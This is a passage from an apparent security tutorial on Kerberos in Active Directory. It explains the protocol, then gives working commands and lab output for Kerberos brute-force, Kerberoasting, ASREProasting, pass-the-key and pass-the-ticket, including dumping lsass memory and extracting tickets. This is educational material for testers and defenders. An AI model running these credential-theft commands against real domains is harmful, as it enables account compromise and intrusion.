href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-5.4.2\">AS-REP<\/a><br \/>\nmessage that contains two encrypted parts: a TGT encrypted with the KDC key<br \/>\nand client data encrypted with the client key. Several information like the<br \/>\nsession key is replicated in both parts so both the user and KDC can share<br \/>\nit.<\/li>\n<li>Afterwards, the client connects with a service in an AP, and negotiates the<br \/>\nauthentication protocol with SPNEGO. If Kerberos is selected the client needs<br \/>\nto get a TGS for the target service.<\/li>\n<li>Therefore, it requests a TGS to the KDC by sending a <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-5.4.1\">TGS-REQ<\/a> that includes<br \/>\nits TGT and the <a href=\"https:\/\/en.hackndo.com\/service-principal-name-spn\/\">SPN<\/a> of the target service. It also sends data encrypted with<br \/>\nthe session key, like the client username and a timestamp, in order to verify<br \/>\nthe connection.<\/li>\n<li>The KDC decrypts the TGT with its key, thus getting access to the username<br \/>\nand the session key. The KDC uses the session key to decrypt the username<br \/>\nsent by the user to verify that is correct.<\/p>\n<p>After checking that everything is correct, the KDC responds with a <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-5.4.2\">TGS-REP<\/a><br \/>\nmessage that contains two encrypted parts: a TGS for the target service,<br \/>\nencrypted with the service user key and client data encrypted with the<br \/>\nsession key. Several information like the service session key is replicated<br \/>\nin both parts so both the user and service can share it.<\/li>\n<li>The client sends the TGS to the service in an <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-5.5.1\">AP-REQ<\/a> message (inside of the<br \/>\napplication protocol). The service decrypts the TGS and gets the service<br \/>\nsession key and the PAC. The service will use the security information of the<br \/>\nPAC about the client to determine if the user have access to its resources.<\/li>\n<li>(Optional) In case the service want to <a href=\"https:\/\/docs.microsoft.com\/en-us\/archive\/blogs\/openspecification\/understanding-microsoft-kerberos-pac-validation\">validate the PAC<\/a>, it can use the<br \/>\nNetlogon protocol to ask to the DC to check the PAC signature with a<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-apds\/b27be921-39b3-4dff-af4a-b7b74deb33b5\">KERB_VERIFY_PAC_REQUEST<\/a>.<\/li>\n<li>(Optional) The server will check the PAC and respond with a code indicating<br \/>\nif the PAC is correct.<\/li>\n<li>(Optional) Finally, in case of the client requires it, the service must<br \/>\nauthenticate itself by responding to the AP-REQ message with an <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-5.5.2\">AP-REP<\/a><br \/>\nmessage and using the session key as proof that the service can decrypt the<br \/>\nTGS and therefore that is the real service and not a fake one.<\/li>\n<\/ol>\n<p>From this process, we can notice that Kerberos, unlike NTLM, have messages that<br \/>\nare not included in other application protocol. Such is the case of AS-REQ and<br \/>\nTGS-REQ, that are sent directly to the DC.<\/p>\n<h5 id=\"kerberos-services\">\nKerberos services<\/h5>\n<p>The DC listens Kerberos in the port 88\/TCP and 88\/UDP.<\/p>\n<figure>\n<pre>                           .-----\n                           |\n                         .---\n            .----KDC---&gt; | 88\n            |            '---   Domain\n Kerberos --|              |\n            |            .---  Controller\n            '-kpasswd--&gt; | 464\n                         '---\n                           |\n                           '-----\n<\/pre><figcaption>\nKerberos ports<br \/>\n<\/figcaption><\/figure>\n<p>Apart from the KDC, Kerberos has another service, <a href=\"https:\/\/tools.ietf.org\/html\/rfc3244.html\">kpasswd<\/a>, that allows to change<br \/>\nthe password of the users in the domain. The kpasswd can be found in the port<br \/>\n464\/TCP and 464\/UDP of the DCs. It can be used with the utility <a href=\"https:\/\/docs.microsoft.com\/en-gb\/windows-server\/administration\/windows-commands\/ksetup-changepassword\">ksetup<\/a>, from<br \/>\nthe CTRL+ALT+DEL &#8220;Change a password&#8221; screen, or with <a href=\"https:\/\/github.com\/GhostPack\/Rubeus#changepw\">Rubeus changepw<\/a>.<\/p>\n<figure>\n<img decoding=\"async\" src=\".\/change_password.png\" alt=\".\/change_password.png\" title=\".\/change_password.png\"><figcaption>\nChange password utility uses kpasswd<br \/>\n<\/figcaption><\/figure>\n<h5 id=\"kerberos-keys\">\nKerberos keys<\/h5>\n<p>By changing the password, the user changes the Kerberos keys used for encrypting<br \/>\nthe Kerberos messages and tickets.<\/p>\n<p>There are many different keys, since each one of them is used for a<br \/>\ndifferent <a href=\"https:\/\/web.mit.edu\/kerberos\/kfw-4.1\/kfw-4.1\/kfw-4.1-help\/html\/encryption_types.htm#supported\">encryption algorithm<\/a> used by Kerberos. The possible encryption<br \/>\nalgorithms used by Kerberos are the following:<\/p>\n<ul>\n<li><a href=\"https:\/\/tools.ietf.org\/html\/rfc4757\">RC4-HMAC<\/a>: The key used for RC4 is the <a href=\"https:\/\/tools.ietf.org\/html\/rfc4757#section-2\">NT hash<\/a> of the user.<\/li>\n<li><a href=\"https:\/\/tools.ietf.org\/html\/rfc3962\">AES128-CTS-HMAC-SHA1-96<\/a>: The key used for AES128 is a hash of 16 bytes<br \/>\n<a href=\"https:\/\/gist.github.com\/Kevin-Robertson\/9e0f8bfdbf4c1e694e6ff4197f0a4372\">derived from the user password<\/a> (and domain and username).<\/li>\n<li><a href=\"https:\/\/tools.ietf.org\/html\/rfc3962\">AES256-CTS-HMAC-SHA1-96<\/a>: The key used for AES256 is a hash of 32 bytes<br \/>\n<a href=\"https:\/\/gist.github.com\/Kevin-Robertson\/9e0f8bfdbf4c1e694e6ff4197f0a4372\">derived from the user password<\/a> (and domain and username).<\/li>\n<li><a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc3961#section-6.2.1\">DES-CBC-MD5<\/a>: This one <a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc6649\">is deprecated<\/a>, but the key is still stored in the domain<br \/>\ndatabase for users.<\/li>\n<\/ul>\n<p>Depends on the algorithm selected, Kerberos uses a different key. In Active<br \/>\nDirectory the recommendation is to use AES256.<\/p>\n<p>Note: When I use the term Kerberos key in this article, I will refer in general<br \/>\nto any of the possible keys negotiated by Kerberos.<\/p>\n<h4 id=\"kerberos-basic-attacks\">\nKerberos basic attacks<\/h4>\n<p>Now that we know the Kerberos basics, lets explain some <a href=\"https:\/\/www.tarlogic.com\/en\/blog\/how-to-attack-kerberos\/\">Kerberos attacks<\/a>.<\/p>\n<blockquote><p>If you look for Kerberos attacks command, you can check the <a href=\"https:\/\/gist.github.com\/TarlogicSecurity\/2f221924fef8c14a1d8e29f3cb5c5c4a\">Kerberos cheatsheet<\/a>.<\/p><\/blockquote>\n<h5 id=\"kerberos-brute-force\">\nKerberos brute-force<\/h5>\n<p>Since Kerberos is an authentication protocol, it can be used to test the<br \/>\ncredentials of the users in the network.<\/p>\n<p>Furthermore, Kerberos errors are very verbose and allow to distinguish a plenty<br \/>\nof situations in a bruteforcing attack:<\/p>\n<ul>\n<li>KDC_ERR_PREAUTH_FAILED: Incorrect password<\/li>\n<li>KDC_ERR_C_PRINCIPAL_UNKNOWN: Invalid username<\/li>\n<li>KDC_ERR_WRONG_REALM: Invalid domain<\/li>\n<li>KDC_ERR_CLIENT_REVOKED: Disabled\/Blocked user<\/li>\n<\/ul>\n<p>By checking the error messages, you not only can test for valid credentials, but<br \/>\nalso enumerate user accounts and be aware if your attack has blocked some<br \/>\naccount. Be careful by launching this kind of attacks!!<\/p>\n<p>Other thing to keep in mind, is that the authentication errors are not logged<br \/>\nwith a <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/threat-protection\/auditing\/event-4625\">normal logon failure event<\/a> (code: 4625), but with<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/threat-protection\/auditing\/event-4771\">Kerberos pre-authentication failure<\/a> (code: 4771), that is not logged by default.<\/p>\n<p>You can use <a href=\"https:\/\/github.com\/GhostPack\/Rubeus#brute\">Rubeus brute<\/a>, <a href=\"https:\/\/github.com\/ropnop\/kerbrute\">kerbrute (Go)<\/a>, <a href=\"https:\/\/github.com\/TarlogicSecurity\/kerbrute\">kerbrute (Python)<\/a> or <a href=\"https:\/\/github.com\/Zer1t0\/cerbero#brute\">cerbero<\/a> in order<br \/>\nto launch a Kerberos brute-force attack.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ python kerbrute.py -domain contoso.local -users users.txt -passwords passwords.txt -dc-ip 192.168.100.2\nImpacket v0.9.22 - Copyright 2020 SecureAuth Corporation\n[*] Valid user =&gt; mahyar\n[*] Blocked\/Disabled user =&gt; Leia\n[*] Valid user =&gt; Han [NOT PREAUTH]\n[*] Valid user =&gt; Administrator\n[*] Stupendous =&gt; mahyar:Vader1234!\n[*] Saved TGT in mahyar.ccache<\/code><\/pre><figcaption>\nKerberos brute-force attack with kerbrute.py<br \/>\n<\/figcaption><\/figure>\n<h5 id=\"kerberoast\">\nKerberoast<\/h5>\n<p>In Active Directory, a TGS can be requested by any user for any service that it<br \/>\nis registered in the domain database through an <a href=\"#services\">SPN<\/a>, regardless of whether the<br \/>\nservice is running or not.<\/p>\n<p>Moreover, the TGS will be partially encrypted with a Kerberos key (derived from<br \/>\nthe password) of the service user. Therefore, if you get a TGS, you can try to crack<br \/>\nthe service user password by trying to decrypt the TGS.<\/p>\n<p>Most services are registered in machine accounts, which have auto-generated<br \/>\npasswords of <a href=\"https:\/\/adsecurity.org\/?p=280\">120 characters that changes every month<\/a>, so crack their TGSs is<br \/>\nunfeasible.<\/p>\n<p>However, occasionally services are assigned to regular user accounts, managed by<br \/>\npeople, that can have weak passwords. The TGSs of that services would allow to<br \/>\ncrack them in order to retrieve the user passwords.<\/p>\n<p>The <a href=\"https:\/\/en.hackndo.com\/kerberoasting\/\">Kerberoast attack<\/a> consist on requests TGSs for those services of regular<br \/>\nuser accounts and try to crack them to get the user passwords. Usually, the<br \/>\nusers that have services also have privileges, so these are juicy accounts.<\/p>\n<p>You can check the user accounts with SPNs with any LDAP client, by using the<br \/>\nfollowing filter:<\/p>\n<figure>\n<pre><code data-lang=\"ladp\">(&amp;(samAccountType=805306368)(servicePrincipalName=*))<\/code><\/pre><figcaption>\nLDAP filter for users with SPNs<br \/>\n<\/figcaption><\/figure>\n<p>More specifically, to retrieve the TGSs to crack you can use the<br \/>\n<a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/GetUserSPNs.py\">impacket GetUserSPNs.py<\/a> script, the <a href=\"https:\/\/github.com\/GhostPack\/Rubeus#kerberoast\">Rubeus kerberoast<\/a> command, or the<br \/>\n<a href=\"https:\/\/github.com\/EmpireProject\/Empire\/blob\/master\/data\/module_source\/credentials\/Invoke-Kerberoast.ps1\">Invoke-Kerberoast.ps1<\/a> script.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">root@debian10:~# GetUserSPNs.py 'contoso.local\/mahyar:Vader1234!' -dc-ip 192.168.100.2 -outputfile kerberoast-hashes.txt\nImpacket v0.9.21 - Copyright 2020 SecureAuth Corporation\nServicePrincipalName  Name  MemberOf                                       PasswordLastSet             LastLogon                   Delegation \n--------------------  ----  ---------------------------------------------  --------------------------  --------------------------  ----------\nHTTP\/ws01-10          leia  CN=Domain Admins,CN=Users,DC=contoso,DC=local  2021-01-01 16:38:02.183703  2021-01-15 11:46:13.998905             \nroot@debian10:~# cat kerberoast-hashes.txt \n$krb5tgs$23$*leia$CONTOSO.LOCAL$HTTP\/ws01-10*$65ca3e856acd6d9438c05cb6c283dcb5$ab86cafcf1dee23d2466973679fc315e9fef3fa2ddcae82d844b31e1651ed983a4d4ff0846148ddf63f80129cd2cb663c7daed26169513ec398464a9796ae7f84e593829f16654279d5b3fa4286eb1e6467a3d569bc88d7150f30cf2dc83ff4185f0a7590b9e5a05ba63cb9dbb710df295c4356cc57ac53cc2d0e0974aeb0e2ae930e6311c5268c457d5da726393e93e9b0d1c8d745ad7b6d63bf36eb11c7f171da87bee9d4ac69b2a8f70157ce402af52ffd35498e3cade179af266be08e5fcf3aee6a0dae26afb6470ba2d25c922868b9a0ca4c80eece585782ea0ea96b6e4f3ee56dc1808990ecf456c021d04ec74edef98b3235553176e55d56a7f3ee9c76f2f22ab7e3d30fabc658a516f8ef03710032aaae36a917cc7e677857c09df3035bd6034aa192c620c9cb6452533225e9606ac06cf0a6a5865468599cd73907b574cef0c081df388ea50176288a444692db96026d2f33f3ba4e8597d11557443e262bee86ca6485272addcf03056a93b6e7e60c02a152640f320e7094f5897fbf1cee83ab45a6f62fc554ec1c67878d9aa7974e43e2f1bdff2b0c197e3ccbd9daf84c1a37bc453aec6a0fa502c05ae530e14a5d1f7bceb5cb1393460a0f8eec8b058ede6ceda637a3c248fcd1e1fe57ae2f2d343c5e749cf9897023b910a3e2b13025584b2a9d4e73e9809ba25231b3fd3616476e51406993d354c9015a95888957e3d3d69784dc8b5c12b11e225756a41485c57467aa1c4041e6c7879f4efe65710fd760c5c3472f1ebefefa8a0f5099ccff5ef84162b1ddd42d795d82a8ac09f811e692c5aec13ee5f9e6335a5501f50412cee10da5a1a444cc5a1f9885885088b6f01d36dc8684101fde2a3c4a40ffe424ca8b3512455f5662794c64fed3b5183aaa9a338f18a33da8e41ac8a4e5598925cfe49db7362f107e018694922b26e20d5e3f125ff151f4299919fa082ad6f0d15643a69584a41b06ba46cca25c57ac51e7430c9166cdcc34428e108fba970d0c550694b431179d867f6b6dfe91e893be37bcf8407e9965921cbcf7b17a7f575ec64e4c7fb8bde0d4994b382cc58b44fc964528ac9aae46b5a84109f3f3ef23a71cca40355d71c95aa191cc11fbd66613f05f58eb74b07530b3deef934811da775c00d6a4217508501b14958b5241a8be72d20f891d5122936ebee8c636a7c746a3bae78d435c11efa4c8693d87d9d7f7c7369ea620d886affea1e1cfbcb216d9f44ad42fedbc81f71722eccc6b54b00c2e80902a1fe49d06ca099f8db51aa1f2ad9ad761208f38803d0c842bbbcaf0c08259904eebdd4<\/code><\/pre><figcaption>\nKerberoast with GetUserSPNs.py<br \/>\n<\/figcaption><\/figure>\n<p>Once you have the TGSs, you can try to crack them with <a href=\"https:\/\/hashcat.net\/hashcat\/\">hashcat<\/a>. In order to<br \/>\ncrack them easily, the TGSs should be requested encrypted with RC4, however<br \/>\nthis could be detected as anormal traffic (by solutions like <a href=\"https:\/\/docs.microsoft.com\/en-gb\/advanced-threat-analytics\/what-is-ata\">Microsoft ATA<\/a>)<br \/>\nsince most of the requests require the AES256 encryption.<\/p>\n<p>It is also possible to perform <a href=\"https:\/\/swarm.ptsecurity.com\/kerberoasting-without-spns\/\">Kerberoasting without knowing the services SPNs<\/a>.<br \/>\nRemember that you can request a Kerberos ticket for different principals in the<br \/>\ndomain, including both services and users.<\/p>\n<p>Therefore, you can request ticket for a given user, that will be encrypted with<br \/>\nthe user key. However, it is necessary that the target user has some service<br \/>\nregistered in order to retrieve a ticket for it.<\/p>\n<p>The TGS obtained for the user as target principal name is also encrypted with<br \/>\nthe user key so it can be used in Kerberoasting. This also could be useful to<br \/>\nbrute-force kerberoasteable users in case you are not able to enumerate them<br \/>\nvia LDAP, since the principal name of a user without SPNs cannot be resolved.<\/p>\n<p>In fact this technique is used by the <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/GetUserSPNs.py\">impacket GetUserSPNs.py<\/a> script. It can<br \/>\nalso be used with <a href=\"https:\/\/github.com\/GhostPack\/Rubeus#kerberoast\">Rubeus kerberoast<\/a> command with the <code>\/enterprise<\/code> flag and<br \/>\n<a href=\"https:\/\/gitlab.com\/Zer1t0\/cerbero\/#kerberoast\">cerbero kerberoast<\/a> command.<\/p>\n<p>Moreover, if you have the <a href=\"https:\/\/docs.microsoft.com\/en-gb\/windows\/win32\/adschema\/r-validated-spn\">Validated-SPN<\/a> permsission over an user account,<br \/>\nyou can add SPNs to that account, making it Kerberoasteable. This way you could<br \/>\nrequest a TGS for that account service and try to crack it. By default, accounts<br \/>\ndo not have the Validated-SPN permissions over themselves.<\/p>\n<h5 id=\"asreproast\">\nASREProast<\/h5>\n<p>Most of the users needs to perform Kerberos pre-authentication, that means, send<br \/>\na timestamp encrypted with its Kerberos key to KDC in the AS-REQ message (to<br \/>\nrequest a TGT).<\/p>\n<p>However, in rare occasions, Kerberos pre-authentication is disabled for an<br \/>\naccount, by setting the <a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/identity\/useraccountcontrol-manipulate-account-properties\">DONT_REQUIRE_PREAUTH flag<\/a>. Thus, anyone can impersonate<br \/>\nthose accounts by sending a AS-REQ message, and an <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-5.4.2\">AS-REP response<\/a> will be returned<br \/>\nfrom the KDC that data encrypted with the user Kerberos key .<\/p>\n<figure>\n<pre><code data-lang=\"asn1\">AS-REP          ::= [APPLICATION 11] KDC-REP\nKDC-REP         ::= SEQUENCE {\n        pvno            [0] INTEGER (5),\n        msg-type        [1] INTEGER (11 -- AS --),\n        padata          [2] SEQUENCE OF PA-DATA OPTIONAL\n        crealm          [3] Realm,\n        cname           [4] PrincipalName,\n        ticket          [5] Ticket, -- Encrypted with krbtgt key\n        enc-part        [6] EncryptedData -- Encrypted with user key\n}<\/code><\/pre><figcaption>\nAS-REP message definition<br \/>\n<\/figcaption><\/figure>\n<p>You cannot access to the AS-REP data directly, since is encrypted with the user<br \/>\nkey (that it is derived from the user password), but can try an offline crack<br \/>\nattack to discover the user password.<\/p>\n<p>The <a href=\"https:\/\/www.harmj0y.net\/blog\/activedirectory\/roasting-as-reps\/\">ASREProast<\/a> attack consists on identify the users without Kerberos<br \/>\npre-authentication required and send AS-REQ on their behalf, in order to<br \/>\nretrieve the piece of data encrypted with the user key in the AS-REP message.<br \/>\nOnce is get, a offline cracking attack is performed to trying to recover the<br \/>\nuser password.<\/p>\n<figure>\n<pre><code data-lang=\"ldap\">(&amp;(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))<\/code><\/pre><figcaption>\nLDAP filter for users without Kerberos pre-authentication<br \/>\n<\/figcaption><\/figure>\n<p>You can use tools like <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/GetNPUsers.py\">impacket GetNPUsers.py<\/a> script, the <a href=\"https:\/\/github.com\/GhostPack\/Rubeus#asreproast\">Rubeus asreproast<\/a><br \/>\ncommand or the <a href=\"https:\/\/github.com\/HarmJ0y\/ASREPRoast\">ASREPRoast.ps1<\/a> script to retrieve the AS-REP encrypted data.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">$ GetNPUsers.py 'contoso.local\/mahyar:Vader1234!' -dc-ip 192.168.100.2 -outputfile asreproast-hashes.txt\nImpacket v0.9.21 - Copyright 2020 SecureAuth Corporation\nName  MemberOf  PasswordLastSet             LastLogon                   UAC      \n----  --------  --------------------------  --------------------------  --------\nhan             2020-12-16 10:53:35.177156  2021-05-12 09:19:28.469863  0x410200 \nroot@debian10:~# cat asreproast-hashes.txt \n$krb5asrep$23$han@CONTOSO.LOCAL:73eea4275625972c2e224648c4766b5a$1bbdaba56bb6eba4ea8cb565221de2fe2b5a8ade3d1155e33aa4d786624b84a62a100d97412361c851dfbf3d95ce3d047916bc66ddcec557f70b232a1d029f6a889e49e35069494b43e4b00b892d4ccc4d31e0c4970e8aff426eaa6821133e9a2bbef017ef9241c95d0098bfea4fd2b3c2919e1247de05d19db59fec46a81a60f0f89a2d9c105b9e00011387e756cb284b0ba785655526e3ba6c51f3b8eba21e674d4f1b4e93025f9cf0dccb1f86c3247f0b9ebfc663be5510faf2b77d932351ac4899cb77be58271dc01a3304bfd1de6216e04e5d9033859b92fa87438863c2dff112237c2ace8cffbc2dbb57c6<\/code><\/pre><figcaption>\n<\/figcaption><\/figure>\n<p>Once you have the user TGT, then you can crack it with <a href=\"https:\/\/hashcat.net\/hashcat\/\">hashcat<\/a>. You can request<br \/>\na AS-REP with RC4 encryption in order to crack it more easily.<\/p>\n<h5 id=\"pass-the-key\">\nPass the Key\/Over Pass the Hash<\/h5>\n<p>As you may notice, to request a TGT, the user doesn&#8217;t need to use its password,<br \/>\nbut its Kerberos key. Therefore, if an attacker can stealh a Kerberos key (NT<br \/>\nhash or AES keys), it can be used in order to request a TGT on behalf of the<br \/>\nuser, without the need to know the user password.<\/p>\n<p>Commonly in Windows, the Kerberos keys are cached in the lsass process, and them<br \/>\ncan be retrieved by using the <a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\/wiki\/module-~-sekurlsa#ekeys\">mimikatz sekurlsa::ekeys<\/a> command. Also you can<br \/>\n<a href=\"https:\/\/www.c0d3xpl0it.com\/2016\/04\/extracting-clear-text-passwords-using-procdump-and-mimikatz.html\">dump the lsass process<\/a> with tools like <a href=\"https:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/procdump\">procdump<\/a>, <a href=\"https:\/\/lolbas-project.github.io\/#\/dump\">sqldumper or others<\/a>, and<br \/>\nextract the keys offline with mimikatz.<\/p>\n<p>In the case of Linux, the Kerberos keys are stored in <a href=\"https:\/\/web.mit.edu\/kerberos\/krb5-devel\/doc\/basic\/keytab_def.html\">keytab<\/a> files in order to<br \/>\nbe used for the Kerberos service. The keytab file can be usually found in<br \/>\n<code>\/etc\/krb5.keytab<\/code>, or in the value specified by the environment variables<br \/>\n<code>KRB5_KTNAME<\/code> or <code>KRB5_CLIENT_KTNAME<\/code>, or specified in the<br \/>\n<a href=\"https:\/\/web.mit.edu\/kerberos\/krb5-1.12\/doc\/admin\/conf_files\/krb5_conf.html\">Kerberos configuration file<\/a> in <code>\/etc\/krb5.conf<\/code>.<\/p>\n<p>When the keytab is located you can copy it to your local machine and\/or list its<br \/>\nkeys with <a href=\"https:\/\/web.mit.edu\/kerberos\/krb5-1.12\/doc\/user\/user_commands\/klist.html\">klist<\/a> (Kerberos MIT) or <a href=\"https:\/\/gitlab.com\/Zer1t0\/cerbero\/#list\">cerbero<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ klist -k -Ke\nKeytab name: FILE:\/etc\/krb5.keytab\nKVNO Principal\n---- --------------------------------------------------------------------------\n   1 r2d2@contoso.local (DEPRECATED:arcfour-hmac)  (0xc49a77fafad6d3a9270a8568fa453003)<\/code><\/pre><figcaption>\nReading keytab with klist<br \/>\n<\/figcaption><\/figure>\n<p>Once you have the Kerberos keys, you can request a TGT in Windows by using<br \/>\n<a href=\"https:\/\/github.com\/GhostPack\/Rubeus#asktgt\">Rubeus asktgt<\/a> command.<\/p>\n<p>In a Linux machine the, you can use the <a href=\"https:\/\/malicious.link\/post\/2018\/pass-the-hash-with-kerberos\/\">MIT Kerberos utils<\/a> to create a keytab<br \/>\nwith the key, and request a TGT, or using the key directly with the<br \/>\n<a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/getTGT.py\">impacket getTGT.py<\/a> script or <a href=\"https:\/\/gitlab.com\/Zer1t0\/cerbero#ask\">cerbero ask<\/a> command.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">$ cerbero ask -u contoso.local\/mahyar --aes ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e -k 192.168.100.2 -vv\nINFO - Request contoso.local\/mahyar TGT for contoso.local\nINFO - Save contoso.local\/mahyar TGT for contoso.local in \/root\/mahyar.ccache<\/code><\/pre><figcaption>\nPass-The-Key with cerbero<br \/>\n<\/figcaption><\/figure>\n<p>The Kerberos tickets have two formats: ccache and krb. The ccache is the one<br \/>\nused by Linux machines to store the tickets (usually in files). The krb format<br \/>\nis used in Windows to store the tickets in the lsass memory, and it is also the<br \/>\nformat to transmit tickets over the network. You can convert tickets to one<br \/>\nformat to another by using the <a href=\"https:\/\/github.com\/Zer1t0\/ticket_converter\">ticket_converter.py<\/a> script or <a href=\"https:\/\/gitlab.com\/Zer1t0\/cerbero#convert\">cerbero convert<\/a><br \/>\ncommand.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ python ticket_converter.py ~\/mahyar.ccache ~\/mahyar.krb\nConverting ccache =&gt; kirbi<\/code><\/pre><figcaption>\nConvert a ticket with ticket_converter.py<br \/>\n<\/figcaption><\/figure>\n<p>Additionally, you can calculate the Kerberos keys from the user password by<br \/>\nusing the <a href=\"https:\/\/gitlab.com\/Zer1t0\/cerbero#hash\">cerbero hash<\/a> command. Also the AES keys can be calculated with<br \/>\n<a href=\"https:\/\/gist.github.com\/Kevin-Robertson\/9e0f8bfdbf4c1e694e6ff4197f0a4372\">Get-KerberosAESKey.ps1<\/a> or the NT hash with a <a href=\"https:\/\/stackoverflow.com\/questions\/15603628\/how-to-calculate-ntlm-hash-in-python#answer-15603809\">few python lines<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">$ cerbero hash 'Vader1234!' -u contoso.local\/mahyar\nrc4:cdeae556dc28c24b5b7b14e9df5b6e21\naes128:18fe293e673950214c67e9f9fe753198\naes256:ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e<\/code><\/pre><figcaption>\nCalculate Kerberos keys with cerbero<br \/>\n<\/figcaption><\/figure>\n<h5 id=\"pass-the-ticket\">\nPass the Ticket<\/h5>\n<p>The Pass the Ticket technique consists on steal a ticket and the associated<br \/>\nsession key and use them to impersonate the user in order to access to resources<br \/>\nor services. Both TGTs and TGSs can be used, but TGTs are preferred since they<br \/>\nallow to access to any service (by using it to request a TGS) on behalf of the<br \/>\nuser, whereas the TGSs are limited to only one service (or more if the<br \/>\n<a href=\"https:\/\/www.secureauth.com\/blog\/kerberos-delegation-spns-and-more\/\">SPN is modified<\/a> to another service of the same user).<\/p>\n<p>In Windows, the tickets can be found in the lsass process memory, and can be<br \/>\nextracted with <a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\/wiki\/module-~-sekurlsa#tickets\">mimikatz sekurlsa::tickets<\/a> command or <a href=\"https:\/\/github.com\/GhostPack\/Rubeus#dump\">Rubeus dump<\/a> command. Other<br \/>\npossibility is to dump lsass process with tools like <a href=\"https:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/procdump\">procdump<\/a>,<br \/>\n<a href=\"https:\/\/lolbas-project.github.io\/#\/dump\">sqldumper or others<\/a>, and extract the tickets offline with mimikatz or <a href=\"https:\/\/github.com\/skelsec\/pypykatz\">pypykatz<\/a>.<br \/>\nThese commands extracts tickets with the krb format.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; .procdump.exe -accepteula -ma lsass.exe lsass.dmp\nProcDump v10.0 - Sysinternals process dump utility\nCopyright (C) 2009-2020 Mark Russinovich and Andrew Richards\nSysinternals - www.sysinternals.com\n[12:03:17] Dump 1 initiated: C:lsass.dmp\n[12:03:18] Dump 1 writing: Estimated dump file size is 34 MB.\n[12:03:18] Dump 1 complete: 34 MB written in 1.0 seconds\n[12:03:18] Dump count reached.<\/code><\/pre><figcaption>\nDumping lsass memory with procdump<br \/>\n<\/figcaption><\/figure>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">$ pypykatz lsa minidump lsass.dmp -k \/tmp\/kerb &gt; output.txt\nINFO:root:Parsing file lsass.dmp\nINFO:root:Writing kerberos tickets to \/tmp\/kerb\n$ ls \/tmp\/kerb\/\n lsass.dmp_51a1d3f3.ccache                                                        'TGS_CONTOSO.LOCAL_WS02-7$_WS02-7$_29a9c991.kirbi'\n lsass.dmp_c9a82a35.ccache                                                         TGT_CONTOSO.LOCAL_mahyar_krbtgt_CONTOSO.LOCAL_6483baf5.kirbi\n TGS_CONTOSO.LOCAL_mahyar_LDAP_dc01.contoso.local_contoso.local_f8a46ad5.kirbi    'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_740ef529.kirbi'\n'TGS_CONTOSO.LOCAL_WS02-7$_cifs_dc01.contoso.local_b9833fa1.kirbi'                'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_77d63cf0.kirbi'\n'TGS_CONTOSO.LOCAL_WS02-7$_cifs_dc01.contoso.local_bfed6415.kirbi'                'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_7ac74bd6.kirbi'\n'TGS_CONTOSO.LOCAL_WS02-7$_ldap_dc01.contoso.local_contoso.local_2129bc1c.kirbi'  'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_fdb8b40a.kirbi'\n'TGS_CONTOSO.LOCAL_WS02-7$_LDAP_dc01.contoso.local_contoso.local_719218c6.kirbi'<\/code><\/pre><figcaption>\nRetrieving tickets from lsass dump with pypykatz<br \/>\n<\/figcaption><\/figure>\n<p>On the other hand, in Linux machines that are part of a domain,<br \/>\n<a href=\"https:\/\/www.delaat.net\/rp\/2016-2017\/p97\/report.pdf\">tickets are stored in a different way<\/a>. Tickets usually can be found by default<br \/>\nunder the <code>\/tmp<\/code> directory in files with the format <code>krb5cc_%{uid}<\/code> where uid is<br \/>\nthe user uid. To get the tickets, just copy the files (if you have permissions).<br 